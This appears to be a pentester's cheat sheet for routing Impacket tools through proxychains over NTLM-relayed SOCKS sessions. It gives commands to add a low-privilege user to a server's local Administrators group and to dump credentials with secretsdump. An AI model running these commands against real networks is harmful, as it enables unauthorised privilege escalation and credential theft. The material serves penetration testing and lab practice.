v1.0

proxychains

By
Brian Johnson

Configure proxy chains

For most offsec tooling, on your Kali box you'll want to open /etc/proxychains4.conf and change the last line from socks4 127.0.0.1 9050 to 1080 like so:

[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks4 127.0.0.1 1080

Running offsec tools through proxychains

mssqlclient.py

proxychains mssqlclient.py 'NETBIOSOFDOMAIN/SERVER01$'@10.2.3.4 -windows-auth -no-pass

mssqlkaren

proxychains uv run mssqlkaren.py ludus/domainadmin:password@10.6.10.13 -windows-auth

net.py

Find local admins:

# Make sure the machine name, IP etc matches what your socks proxy shows in ntlmrelayx
proxychains net.py 'NETBIOSOFDOMAIN/SERVER01$'@10.2.3.4 localgroup -name Administrators

# Just hit Enter when asked for a password

Add yourself (LOWPRIV) to local admin group:

# Make sure the machine name, IP etc matches what your socks proxy shows in ntlmrelayx
proxychains net.py 'NETBIOSOFDOMAIN/SERVER01$'@10.2.3.4 localgroup -name Administrators -join lowpriv

ntlmrelayx

If you've snagged some proxy connections using something like ntlmrelay, you can use proxychains to push tools like secretsdump through it:

sudo proxychains python3 /opt/impacket/examples/secretsdump.py DOMAINNAME/ACCOUNT:password-doesnt-matter-type-whatever-you-want-here@ip.of.proxy.victim